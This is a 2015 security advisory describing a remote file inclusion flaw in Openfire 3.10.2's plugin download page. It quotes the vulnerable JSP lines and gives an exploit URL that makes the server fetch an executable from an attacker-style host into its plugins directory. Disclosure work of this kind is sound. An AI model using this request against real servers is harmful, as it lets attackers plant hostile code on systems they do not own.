Openfire 3.10.2 - Remote File Inclusion

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-RFI.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).


Vulnerability Type:
=================================
Remote File Inclusion



CVE Reference:
==============
N/A





Vulnerability Details:
=====================

In "available-plugins.jsp" there is no validation for plugin downloads,
allowing arbitrary file downloads
from anywhere on the internet.

On line 40: all that needs to be satisfied is the paramater is not null.

boolean downloadRequested = request.getParameter("download") != null;
String url = request.getParameter("url");


If the above condition check returns true, the application downloads
whatever file you give it.

line 54:

    if (downloadRequested) {
        // Download and install new plugin
        updateManager.downloadPlugin(url);
        // Log the event
        webManager.logEvent("downloaded new plugin from "+url, null);
    }




Exploit code(s):
================

1) download arbitrary filez

e.g.

http://localhost:9090/available-plugins.jsp?download=1&url=http://ghostofsin.abyss/abysmalgod.exe

Our RFI will be downloaded to "openfire\plugins" directory.




Disclosure Timeline:
=========================================================
Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  GET


Vulnerable Product:             [+]  Openfire 3.10.2


Vulnerable Parameter(s):        [+]  download, url


Affected Area(s):               [+]  Server


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx